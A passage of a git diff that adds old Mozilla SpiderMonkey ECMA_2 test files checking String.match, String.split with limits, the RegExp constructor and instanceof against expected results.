+ var limit = matches_array.length > string.match(regexp).length ?
+ matches_array.length :
+ string.match(regexp).length;
+
+ for ( var matches = 0; matches < limit; matches++ ) {
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +")[" + matches +"]",
+ matches_array[matches],
+ string.match(regexp)[matches] );
+ }
+}
+
+function AddGlobalRegExpCases(
+ regexp, str_regexp, string, matches_array ) {
+
+ // prevent a runtime error
+
+ if ( regexp.exec(string) == null || matches_array == null ) {
+ AddTestCase(
+ regexp + ".exec(" + string +")",
+ matches_array,
+ regexp.exec(string) );
+
+ return;
+ }
+
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +").length",
+ matches_array.length,
+ string.match(regexp).length );
+
+ var limit = matches_array.length > string.match(regexp).length ?
+ matches_array.length :
+ string.match(regexp).length;
+
+ for ( var matches = 0; matches < limit; matches++ ) {
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +")[" + matches +"]",
+ matches_array[matches],
+ string.match(regexp)[matches] );
+ }
+}
diff --git a/js/src/tests/ecma_2/String/match-003.js b/js/src/tests/ecma_2/String/match-003.js
new file mode 100644
index 000000000..24453e621
--- /dev/null
+++ b/js/src/tests/ecma_2/String/match-003.js
@@ -0,0 +1,132 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: String/match-003.js
+ * ECMA Section: 15.6.4.9
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ *
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ */
+
+/*
+ * String.match( regexp )
+ *
+ * If regexp is not an object of type RegExp, it is replaced with result
+ * of the expression new RegExp(regexp). Let string denote the result of
+ * converting the this value to a string. If regexp.global is false,
+ * return the result obtained by invoking RegExp.prototype.exec (see
+ * section 15.7.5.3) on regexp with string as parameter.
+ *
+ * Otherwise, set the regexp.lastIndex property to 0 and invoke
+ * RegExp.prototype.exec repeatedly until there is no match. If there is a
+ * match with an empty string (in other words, if the value of
+ * regexp.lastIndex is left unchanged) increment regexp.lastIndex by 1.
+ * The value returned is an array with the properties 0 through n-1
+ * corresponding to the first element of the result of each matching
+ * invocation of RegExp.prototype.exec.
+ *
+ * Note that the match function is intentionally generic; it does not
+ * require that its this value be a string object. Therefore, it can be
+ * transferred to other kinds of objects for use as a method.
+ */
+
+var SECTION = "String/match-003.js";
+var VERSION = "ECMA_2";
+var TITLE = "String.prototype.match( regexp )";
+
+startTest();
+
+// the regexp argument is not a RegExp object
+// this is not a string object
+
+
+// [if regexp.global is true] set the regexp.lastIndex property to 0 and
+// invoke RegExp.prototype.exec repeatedly until there is no match. If
+// there is a match with an empty string (in other words, if the value of
+// regexp.lastIndex is left unchanged) increment regexp.lastIndex by 1.
+// The value returned is an array with the properties 0 through n-1
+// corresponding to the first element of the result of each matching invocation
+// of RegExp.prototype.exec.
+
+
+// set the value of lastIndex
+re = /([\d]{5})([-\ ]?[\d]{4})?$/g;
+
+
+s = "Boston, MA 02134";
+
+AddGlobalRegExpCases( re,
+ "re = " + re,
+ s,
+ ["02134" ]);
+
+re.lastIndex = 0;
+
+AddGlobalRegExpCases(
+ re,
+ "re = " + re + "; re.lastIndex = 0 ",
+ s,
+ ["02134"]);
+
+
+re.lastIndex = s.length;
+
+AddGlobalRegExpCases(
+ re,
+ "re = " + re + "; re.lastIndex = " + s.length,
+ s,
+ ["02134"] );
+
+re.lastIndex = s.lastIndexOf("0");
+
+AddGlobalRegExpCases(
+ re,
+ "re = "+ re +"; re.lastIndex = " + s.lastIndexOf("0"),
+ s,
+ ["02134"]);
+
+re.lastIndex = s.lastIndexOf("0") + 1;
+
+AddGlobalRegExpCases(
+ re,
+ "re = " +re+ "; re.lastIndex = " + (s.lastIndexOf("0") +1),
+ s,
+ ["02134"]);
+
+test();
+
+function AddGlobalRegExpCases(
+ regexp, str_regexp, string, matches_array ) {
+
+ // prevent a runtime error
+
+ if ( string.match(regexp) == null || matches_array == null ) {
+ AddTestCase(
+ string + ".match(" + str_regexp +")",
+ matches_array,
+ string.match(regexp) );
+
+ return;
+ }
+
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +").length",
+ matches_array.length,
+ string.match(regexp).length );
+
+ var limit = matches_array.length > string.match(regexp).length ?
+ matches_array.length :
+ string.match(regexp).length;
+
+ for ( var matches = 0; matches < limit; matches++ ) {
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +")[" + matches +"]",
+ matches_array[matches],
+ string.match(regexp)[matches] );
+ }
+}
diff --git a/js/src/tests/ecma_2/String/match-004.js b/js/src/tests/ecma_2/String/match-004.js
new file mode 100644
index 000000000..7c17396af
--- /dev/null
+++ b/js/src/tests/ecma_2/String/match-004.js
@@ -0,0 +1,173 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: String/match-004.js
+ * ECMA Section: 15.6.4.9
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ *
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ */
+
+/*
+ * String.match( regexp )
+ *
+ * If regexp is not an object of type RegExp, it is replaced with result
+ * of the expression new RegExp(regexp). Let string denote the result of
+ * converting the this value to a string. If regexp.global is false,
+ * return the result obtained by invoking RegExp.prototype.exec (see
+ * section 15.7.5.3) on regexp with string as parameter.
+ *
+ * Otherwise, set the regexp.lastIndex property to 0 and invoke
+ * RegExp.prototype.exec repeatedly until there is no match. If there is a
+ * match with an empty string (in other words, if the value of
+ * regexp.lastIndex is left unchanged) increment regexp.lastIndex by 1.
+ * The value returned is an array with the properties 0 through n-1
+ * corresponding to the first element of the result of each matching
+ * invocation of RegExp.prototype.exec.
+ *
+ * Note that the match function is intentionally generic; it does not
+ * require that its this value be a string object. Therefore, it can be
+ * transferred to other kinds of objects for use as a method.
+ *
+ *
+ * The match function should be intentionally generic, and not require
+ * this to be a string.
+ *
+ */
+
+var SECTION = "String/match-004.js";
+var VERSION = "ECMA_2";
+var TITLE = "String.prototype.match( regexp )";
+
+var BUGNUMBER="http://scopus/bugsplat/show_bug.cgi?id=345818";
+
+startTest();
+
+// set the value of lastIndex
+re = /0./;
+s = 10203040506070809000;
+
+Number.prototype.match = String.prototype.match;
+
+AddRegExpCases( re,
+ "re = " + re ,
+ s,
+ String(s),
+ 1,
+ ["02"]);
+
+
+re.lastIndex = 0;
+AddRegExpCases( re,
+ "re = " + re +" [lastIndex is " + re.lastIndex+"]",
+ s,
+ String(s),
+ 1,
+ ["02"]);
+/*
+
+re.lastIndex = s.length;
+
+AddRegExpCases( re,
+"re = /([\d]{5})([-\ ]?[\d]{4})?$/; re.lastIndex = " +
+s.length,
+s,
+s.lastIndexOf("0"),
+null );
+
+re.lastIndex = s.lastIndexOf("0");
+
+AddRegExpCases( re,
+"re = /([\d]{5})([-\ ]?[\d]{4})?$/; re.lastIndex = " +
+s.lastIndexOf("0"),
+s,
+s.lastIndexOf("0"),
+["02134"]);
+
+re.lastIndex = s.lastIndexOf("0") + 1;
+
+AddRegExpCases( re,
+"re = /([\d]{5})([-\ ]?[\d]{4})?$/; re.lastIndex = " +
+s.lastIndexOf("0") +1,
+s,
+0,
+null);
+*/
+test();
+
+function AddRegExpCases(
+ regexp, str_regexp, string, str_string, index, matches_array ) {
+
+ // prevent a runtime error
+
+ if ( regexp.exec(string) == null || matches_array == null ) {
+ AddTestCase(
+ string + ".match(" + regexp +")",
+ matches_array,
+ string.match(regexp) );
+
+ return;
+ }
+
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +").length",
+ matches_array.length,
+ string.match(regexp).length );
+
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +").index",
+ index,
+ string.match(regexp).index );
+
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +").input",
+ str_string,
+ string.match(regexp).input );
+
+ var limit = matches_array.length > string.match(regexp).length ?
+ matches_array.length :
+ string.match(regexp).length;
+
+ for ( var matches = 0; matches < limit; matches++ ) {
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +")[" + matches +"]",
+ matches_array[matches],
+ string.match(regexp)[matches] );
+ }
+}
+
+function AddGlobalRegExpCases(
+ regexp, str_regexp, string, matches_array ) {
+
+ // prevent a runtime error
+
+ if ( regexp.exec(string) == null || matches_array == null ) {
+ AddTestCase(
+ regexp + ".exec(" + string +")",
+ matches_array,
+ regexp.exec(string) );
+
+ return;
+ }
+
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +").length",
+ matches_array.length,
+ string.match(regexp).length );
+
+ var limit = matches_array.length > string.match(regexp).length ?
+ matches_array.length :
+ string.match(regexp).length;
+
+ for ( var matches = 0; matches < limit; matches++ ) {
+ AddTestCase(
+ "( " + string + " ).match(" + str_regexp +")[" + matches +"]",
+ matches_array[matches],
+ string.match(regexp)[matches] );
+ }
+}
diff --git a/js/src/tests/ecma_2/String/shell.js b/js/src/tests/ecma_2/String/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_2/String/shell.js
diff --git a/js/src/tests/ecma_2/String/split-001.js b/js/src/tests/ecma_2/String/split-001.js
new file mode 100644
index 000000000..f8e2c762a
--- /dev/null
+++ b/js/src/tests/ecma_2/String/split-001.js
@@ -0,0 +1,112 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: String/split-001.js
+ * ECMA Section: 15.6.4.9
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ *
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ */
+
+/*
+ * Since regular expressions have been part of JavaScript since 1.2, there
+ * are already tests for regular expressions in the js1_2/regexp folder.
+ *
+ * These new tests try to supplement the existing tests, and verify that
+ * our implementation of RegExp conforms to the ECMA specification, but
+ * does not try to be as exhaustive as in previous tests.
+ *
+ * The [,limit] argument to String.split is new, and not covered in any
+ * existing tests.
+ *
+ * String.split cases are covered in ecma/String/15.5.4.8-*.js.
+ * String.split where separator is a RegExp are in
+ * js1_2/regexp/string_split.js
+ *
+ */
+
+var SECTION = "ecma_2/String/split-001.js";
+var VERSION = "ECMA_2";
+var TITLE = "String.prototype.split( regexp, [,limit] )";
+
+startTest();
+
+// the separator is not supplied
+// separator is undefined
+// separator is an empty string
+
+AddSplitCases( "splitme", "", "''", ["s", "p", "l", "i", "t", "m", "e"] );
+AddSplitCases( "splitme", new RegExp(), "new RegExp()", ["s", "p", "l", "i", "t", "m", "e"] );
+
+// separartor is a regexp
+// separator regexp value global setting is set
+// string is an empty string
+// if separator is an empty string, split each by character
+
+// this is not a String object
+
+// limit is not a number
+// limit is undefined
+// limit is larger than 2^32-1
+// limit is a negative number
+
+test();
+
+function AddSplitCases( string, separator, str_sep, split_array ) {
+
+ // verify that the result of split is an object of type Array
+ AddTestCase(
+ "( " + string + " ).split(" + str_sep +").constructor == Array",
+ true,
+ string.split(separator).constructor == Array );
+
+ // check the number of items in the array
+ AddTestCase(
+ "( " + string + " ).split(" + str_sep +").length",
+ split_array.length,
+ string.split(separator).length );
+
+ // check the value of each array item
+ var limit = (split_array.length > string.split(separator).length )
+ ? split_array.length : string.split(separator).length;
+
+ for ( var matches = 0; matches < split_array.length; matches++ ) {
+ AddTestCase(
+ "( " + string + " ).split(" + str_sep +")[" + matches +"]",
+ split_array[matches],
+ string.split( separator )[matches] );
+ }
+}
+
+function AddLimitedSplitCases(
+ string, separator, str_sep, limit, str_limit, split_array ) {
+
+ // verify that the result of split is an object of type Array
+
+ AddTestCase(
+ "( " + string + " ).split(" + str_sep +", " + str_limit +
+ " ).constructor == Array",
+ true,
+ string.split(separator, limit).constructor == Array );
+
+ // check the length of the array
+
+ AddTestCase(
+ "( " + string + " ).split(" + str_sep +", " + str_limit + " ).length",
+ length,
+ string.split(separator).length );
+
+ // check the value of each array item
+
+ for ( var matches = 0; matches < split_array.length; matches++ ) {
+ AddTestCase(
+ "( " + string + " ).split(" + str_sep +", " + str_limit + " )[" + matches +"]",
+ split_array[matches],
+ string.split( separator )[matches] );
+ }
+}
diff --git a/js/src/tests/ecma_2/String/split-002.js b/js/src/tests/ecma_2/String/split-002.js
new file mode 100644
index 000000000..8f14e4fac
--- /dev/null
+++ b/js/src/tests/ecma_2/String/split-002.js
@@ -0,0 +1,270 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: String/split-002.js
+ * ECMA Section: 15.6.4.9
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ *
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ */
+
+/*
+ * Since regular expressions have been part of JavaScript since 1.2, there
+ * are already tests for regular expressions in the js1_2/regexp folder.
+ *
+ * These new tests try to supplement the existing tests, and verify that
+ * our implementation of RegExp conforms to the ECMA specification, but
+ * does not try to be as exhaustive as in previous tests.
+ *
+ * The [,limit] argument to String.split is new, and not covered in any
+ * existing tests.
+ *
+ * String.split cases are covered in ecma/String/15.5.4.8-*.js.
+ * String.split where separator is a RegExp are in
+ * js1_2/regexp/string_split.js
+ *
+ */
+
+var SECTION = "ecma_2/String/split-002.js";
+var VERSION = "ECMA_2";
+var TITLE = "String.prototype.split( regexp, [,limit] )";
+
+startTest();
+
+// the separator is not supplied
+// separator is undefined
+// separator is an empty string
+
+// AddSplitCases( "splitme", "", "''", ["s", "p", "l", "i", "t", "m", "e"] );
+// AddSplitCases( "splitme", new RegExp(), "new RegExp()", ["s", "p", "l", "i", "t", "m", "e"] );
+
+// separator is an empty regexp
+// separator is not supplied
+
+CompareSplit( "hello", "ll" );
+
+CompareSplit( "hello", "l" );
+CompareSplit( "hello", "x" );
+CompareSplit( "hello", "h" );
+CompareSplit( "hello", "o" );
+CompareSplit( "hello", "hello" );
+CompareSplit( "hello", undefined );
+
+CompareSplit( "hello", "");
+CompareSplit( "hello", "hellothere" );
+
+CompareSplit( new String("hello" ) );
+
+
+Number.prototype.split = String.prototype.split;
+
+CompareSplit( new Number(100111122133144155), 1 );
+CompareSplitWithLimit(new Number(100111122133144155), 1, 1 );
+
+CompareSplitWithLimit(new Number(100111122133144155), 1, 2 );
+CompareSplitWithLimit(new Number(100111122133144155), 1, 0 );
+CompareSplitWithLimit(new Number(100111122133144155), 1, 100 );
+CompareSplitWithLimit(new Number(100111122133144155), 1, void 0 );
+CompareSplitWithLimit(new Number(100111122133144155), 1, Math.pow(2,32)-1 );
+CompareSplitWithLimit(new Number(100111122133144155), 1, "boo" );
+CompareSplitWithLimit(new Number(100111122133144155), 1, -(Math.pow(2,32)-1) );
+CompareSplitWithLimit( "hello", "l", NaN );
+CompareSplitWithLimit( "hello", "l", 0 );
+CompareSplitWithLimit( "hello", "l", 1 );
+CompareSplitWithLimit( "hello", "l", 2 );
+CompareSplitWithLimit( "hello", "l", 3 );
+CompareSplitWithLimit( "hello", "l", 4 );
+
+
+/*
+ CompareSplitWithLimit( "hello", "ll", 0 );
+ CompareSplitWithLimit( "hello", "ll", 1 );
+ CompareSplitWithLimit( "hello", "ll", 2 );
+ CompareSplit( "", " " );
+ CompareSplit( "" );
+*/
+
+// separartor is a regexp
+// separator regexp value global setting is set
+// string is an empty string
+// if separator is an empty string, split each by character
+
+// this is not a String object
+
+// limit is not a number
+// limit is undefined
+// limit is larger than 2^32-1
+// limit is a negative number
+
+test();
+
+function CompareSplit( string, separator ) {
+ split_1 = string.split( separator );
+ split_2 = string_split( string, separator );
+
+ AddTestCase(
+ "( " + string +".split(" + separator + ") ).length" ,
+ split_2.length,
+ split_1.length );
+
+ var limit = split_1.length > split_2.length ?
+ split_1.length : split_2.length;
+
+ for ( var split_item = 0; split_item < limit; split_item++ ) {
+ AddTestCase(
+ string + ".split(" + separator + ")["+split_item+"]",
+ split_2[split_item],
+ split_1[split_item] );
+ }
+}
+
+function CompareSplitWithLimit( string, separator, splitlimit ) {
+ split_1 = string.split( separator, splitlimit );
+ split_2 = string_split( string, separator, splitlimit );
+
+ AddTestCase(
+ "( " + string +".split(" + separator + ", " + splitlimit+") ).length" ,
+ split_2.length,
+ split_1.length );
+
+ var limit = split_1.length > split_2.length ?
+ split_1.length : split_2.length;
+
+ for ( var split_item = 0; split_item < limit; split_item++ ) {
+ AddTestCase(
+ string + ".split(" + separator + ", " + splitlimit+")["+split_item+"]",
+ split_2[split_item],
+ split_1[split_item] );
+ }
+}
+
+function string_split ( __this, separator, limit ) {
+ var S = String(__this ); // 1
+
+ var A = new Array(); // 2
+
+ if ( limit == undefined ) { // 3
+ lim = Math.pow(2, 31 ) -1;
+ } else {
+ lim = ToUint32( limit );
+ }
+
+ var s = S.length; // 4
+ var p = 0; // 5
+
+ if ( separator == undefined ) { // 8
+ A[0] = S;
+ return A;
+ }
+
+ if ( separator.constructor == RegExp ) // 6
+ R = separator;
+ else
+ R = separator.toString();
+
+ if (lim == 0) return A; // 7
+
+ if ( separator == undefined ) { // 8
+ A[0] = S;
+ return A;
+ }
+
+ if (s == 0) { // 9
+ z = SplitMatch(R, S, 0);
+ if (z != false) return A;
+ A[0] = S;
+ return A;
+ }
+
+ var q = p; // 10
+loop:
+ while (true ) {
+
+ if ( q == s ) break; // 11
+
+ z = SplitMatch(R, S, q); // 12
+
+//print("Returned ", z);
+
+ if (z != false) { // 13
+ e = z.endIndex; // 14
+ cap = z.captures; // 14
+ if (e != p) { // 15
+//print("S = ", S, ", p = ", p, ", q = ", q);
+ T = S.slice(p, q); // 16
+//print("T = ", T);
+ A[A.length] = T; // 17
+ if (A.length == lim) return A; // 18
+ p = e; // 19
+ i = 0; // 20
+ while (true) { // 25
+ if (i == cap.length) { // 21
+ q = p; // 10
+ continue loop;
+ }
+ i = i + 1; // 22
+ A[A.length] = cap[i] // 23
+ if (A.length == lim) return A; // 24
+ }
+ }
+ }
+
+ q = q + 1; // 26
+ }
+
+ T = S.slice(p, q);
+ A[A.length] = T;
+ return A;
+}
+
+function SplitMatch(R, S, q)
+{
+ if (R.constructor == RegExp) { // 1
+ var reResult = R.match(S, q); // 8
+ if (reResult == undefined)
+ return false;
+ else {
+ a = new Array(reResult.length - 1);
+ for (var i = 1; i < reResult.length; i++)
+ a[a.length] = reResult[i];
+ return { endIndex : reResult.index + reResult[0].length, captures : cap };
+ }
+ }
+ else {
+ var r = R.length; // 2
+ s = S.length; // 3
+ if ((q + r) > s) return false; // 4
+ for (var i = 0; i < r; i++) {
+//print("S.charAt(", q + i, ") = ", S.charAt(q + i), ", R.charAt(", i, ") = ", R.charAt(i));
+ if (S.charAt(q + i) != R.charAt(i)) // 5
+ return false;
+ }
+ cap = new Array(); // 6
+ return { endIndex : q + r, captures : cap }; // 7
+ }
+}
+
+function ToUint32( n ) {
+ n = Number( n );
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ if ( Math.abs( n ) == 0
+ || Math.abs( n ) == Number.POSITIVE_INFINITY
+ || n != n) {
+ return 0;
+ }
+ n = sign * Math.floor( Math.abs(n) )
+
+ n = n % Math.pow(2,32);
+
+ if ( n < 0 ){
+ n += Math.pow(2,32);
+ }
+
+ return ( n );
+}
diff --git a/js/src/tests/ecma_2/String/split-003.js b/js/src/tests/ecma_2/String/split-003.js
new file mode 100644
index 000000000..e887dbe0e
--- /dev/null
+++ b/js/src/tests/ecma_2/String/split-003.js
@@ -0,0 +1,123 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: String/split-003.js
+ * ECMA Section: 15.6.4.9
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ *
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ */
+
+/*
+ * Since regular expressions have been part of JavaScript since 1.2, there
+ * are already tests for regular expressions in the js1_2/regexp folder.
+ *
+ * These new tests try to supplement the existing tests, and verify that
+ * our implementation of RegExp conforms to the ECMA specification, but
+ * does not try to be as exhaustive as in previous tests.
+ *
+ * The [,limit] argument to String.split is new, and not covered in any
+ * existing tests.
+ *
+ * String.split cases are covered in ecma/String/15.5.4.8-*.js.
+ * String.split where separator is a RegExp are in
+ * js1_2/regexp/string_split.js
+ *
+ */
+
+var SECTION = "ecma_2/String/split-003.js";
+var VERSION = "ECMA_2";
+var TITLE = "String.prototype.split( regexp, [,limit] )";
+
+startTest();
+
+// separator is a regexp
+// separator regexp value global setting is set
+// string is an empty string
+// if separator is an empty string, split each by character
+
+
+AddSplitCases( "hello", new RegExp, "new RegExp", ["h","e","l","l","o"] );
+
+AddSplitCases( "hello", /l/, "/l/", ["he","","o"] );
+AddLimitedSplitCases( "hello", /l/, "/l/", 0, [] );
+AddLimitedSplitCases( "hello", /l/, "/l/", 1, ["he"] );
+AddLimitedSplitCases( "hello", /l/, "/l/", 2, ["he",""] );
+AddLimitedSplitCases( "hello", /l/, "/l/", 3, ["he","","o"] );
+AddLimitedSplitCases( "hello", /l/, "/l/", 4, ["he","","o"] );
+AddLimitedSplitCases( "hello", /l/, "/l/", void 0, ["he","","o"] );
+AddLimitedSplitCases( "hello", /l/, "/l/", "hi", [] );
+AddLimitedSplitCases( "hello", /l/, "/l/", undefined, ["he","","o"] );
+
+AddSplitCases( "hello", new RegExp, "new RegExp", ["h","e","l","l","o"] );
+AddLimitedSplitCases( "hello", new RegExp, "new RegExp", 0, [] );
+AddLimitedSplitCases( "hello", new RegExp, "new RegExp", 1, ["h"] );
+AddLimitedSplitCases( "hello", new RegExp, "new RegExp", 2, ["h","e"] );
+AddLimitedSplitCases( "hello", new RegExp, "new RegExp", 3, ["h","e","l"] );
+AddLimitedSplitCases( "hello", new RegExp, "new RegExp", 4, ["h","e","l","l"] );
+AddLimitedSplitCases( "hello", new RegExp, "new RegExp", void 0, ["h","e","l","l","o"] );
+AddLimitedSplitCases( "hello", new RegExp, "new RegExp", "hi", [] );
+AddLimitedSplitCases( "hello", new RegExp, "new RegExp", undefined, ["h","e","l","l","o"] );
+
+test();
+
+function AddSplitCases( string, separator, str_sep, split_array ) {
+ // verify that the result of split is an object of type Array
+ AddTestCase(
+ "( " + string + " ).split(" + str_sep +").constructor == Array",
+ true,
+ string.split(separator).constructor == Array );
+
+ // check the number of items in the array
+ AddTestCase(
+ "( " + string + " ).split(" + str_sep +").length",
+ split_array.length,
+ string.split(separator).length );
+
+ // check the value of each array item
+ var limit = (split_array.length > string.split(separator).length )
+ ? split_array.length : string.split(separator).length;
+
+ for ( var matches = 0; matches < split_array.length; matches++ ) {
+ AddTestCase(
+ "( " + string + " ).split(" + str_sep +")[" + matches +"]",
+ split_array[matches],
+ string.split( separator )[matches] );
+ }
+}
+
+function AddLimitedSplitCases(
+ string, separator, str_sep, limit, split_array ) {
+
+ // verify that the result of split is an object of type Array
+
+ AddTestCase(
+ "( " + string + " ).split(" + str_sep +", " + limit +
+ " ).constructor == Array",
+ true,
+ string.split(separator, limit).constructor == Array );
+
+ // check the length of the array
+
+ AddTestCase(
+ "( " + string + " ).split(" + str_sep +", " + limit + " ).length",
+ split_array.length,
+ string.split(separator, limit).length );
+
+ // check the value of each array item
+
+ var slimit = (split_array.length > string.split(separator).length )
+ ? split_array.length : string.split(separator, limit).length;
+
+ for ( var matches = 0; matches < slimit; matches++ ) {
+ AddTestCase(
+ "( " + string + " ).split(" + str_sep +", " + limit + " )[" + matches +"]",
+ split_array[matches],
+ string.split( separator, limit )[matches] );
+ }
+}
diff --git a/js/src/tests/ecma_2/browser.js b/js/src/tests/ecma_2/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_2/browser.js
diff --git a/js/src/tests/ecma_2/extensions/browser.js b/js/src/tests/ecma_2/extensions/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_2/extensions/browser.js
diff --git a/js/src/tests/ecma_2/extensions/constructor-001.js b/js/src/tests/ecma_2/extensions/constructor-001.js
new file mode 100644
index 000000000..5c5466008
--- /dev/null
+++ b/js/src/tests/ecma_2/extensions/constructor-001.js
@@ -0,0 +1,41 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: RegExp/constructor-001.js
+ * ECMA Section: 15.7.3.3
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ *
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ */
+var SECTION = "RegExp/constructor-001";
+var VERSION = "ECMA_2";
+var TITLE = "new RegExp()";
+
+startTest();
+
+/*
+ * for each test case, verify:
+ * - verify that [[Class]] property is RegExp
+ * - prototype property should be set to RegExp.prototype
+ * - source is set to the empty string
+ * - global property is set to false
+ * - ignoreCase property is set to false
+ * - multiline property is set to false
+ * - lastIndex property is set to 0
+ */
+
+RegExp.prototype.getClassProperty = Object.prototype.toString;
+var re = new RegExp();
+
+AddTestCase(
+ "new RegExp().__proto__",
+ RegExp.prototype,
+ re.__proto__
+ );
+
+test()
diff --git a/js/src/tests/ecma_2/extensions/function-001.js b/js/src/tests/ecma_2/extensions/function-001.js
new file mode 100644
index 000000000..df45e048d
--- /dev/null
+++ b/js/src/tests/ecma_2/extensions/function-001.js
@@ -0,0 +1,41 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: RegExp/function-001.js
+ * ECMA Section: 15.7.2.1
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ *
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ */
+var SECTION = "RegExp/function-001";
+var VERSION = "ECMA_2";
+var TITLE = "RegExp( pattern, flags )";
+
+startTest();
+
+/*
+ * for each test case, verify:
+ * - verify that [[Class]] property is RegExp
+ * - prototype property should be set to RegExp.prototype
+ * - source is set to the empty string
+ * - global property is set to false
+ * - ignoreCase property is set to false
+ * - multiline property is set to false
+ * - lastIndex property is set to 0
+ */
+
+RegExp.prototype.getClassProperty = Object.prototype.toString;
+var re = new RegExp();
+
+AddTestCase(
+ "new RegExp().__proto__",
+ RegExp.prototype,
+ re.__proto__
+ );
+
+test()
diff --git a/js/src/tests/ecma_2/extensions/instanceof-001.js b/js/src/tests/ecma_2/extensions/instanceof-001.js
new file mode 100644
index 000000000..69aab1bfa
--- /dev/null
+++ b/js/src/tests/ecma_2/extensions/instanceof-001.js
@@ -0,0 +1,111 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: instanceof-001.js
+ * ECMA Section: 11.8.6
+ * Description:
+ *
+ * RelationalExpression instanceof Identifier
+ *
+ * Author: christine@netscape.com
+ * Date: 2 September 1998
+ */
+var SECTION = "instanceof-001";
+var VERSION = "ECMA_2";
+var TITLE = "instanceof"
+
+ startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+function InstanceOf( object_1, object_2, expect ) {
+ result = object_1 instanceof object_2;
+
+ new TestCase(
+ SECTION,
+ "(" + object_1 + ") instanceof " + object_2,
+ expect,
+ result );
+}
+
+function Gen3(value) {
+ this.value = value;
+ this.generation = 3;
+ this.toString = new Function ( "return \"(Gen\"+this.generation+\" instance)\"" );
+}
+Gen3.name = 3;
+Gen3.__proto__.toString = new Function( "return \"(\"+this.name+\" object)\"");
+
+function Gen2(value) {
+ this.value = value;
+ this.generation = 2;
+}
+Gen2.name = 2;
+Gen2.prototype = new Gen3();
+
+function Gen1(value) {
+ this.value = value;
+ this.generation = 1;
+}
+Gen1.name = 1;
+Gen1.prototype = new Gen2();
+
+function Gen0(value) {
+ this.value = value;
+ this.generation = 0;
+}
+Gen0.name = 0;
+Gen0.prototype = new Gen1();
+
+
+function GenA(value) {
+ this.value = value;
+ this.generation = "A";
+ this.toString = new Function ( "return \"(instance of Gen\"+this.generation+\")\"" );
+
+}
+GenA.prototype = new Gen0();
+GenA.name = "A";
+
+function GenB(value) {
+ this.value = value;
+ this.generation = "B";
+ this.toString = new Function ( "return \"(instance of Gen\"+this.generation+\")\"" );
+}
+GenB.name = "B"
+ GenB.prototype = void 0;
+
+// RelationalExpression is not an object.
+
+InstanceOf( true, Boolean, false );
+InstanceOf( new Boolean(false), Boolean, true );
+
+// __proto__ of RelationalExpression is null. should return false
+genA = new GenA();
+genA.__proto__ = null;
+
+InstanceOf( genA, GenA, false );
+
+// RelationalExpression.__proto__ == (but not ===) Identifier.prototype
+
+InstanceOf( new Gen2(), Gen0, false );
+InstanceOf( new Gen2(), Gen1, false );
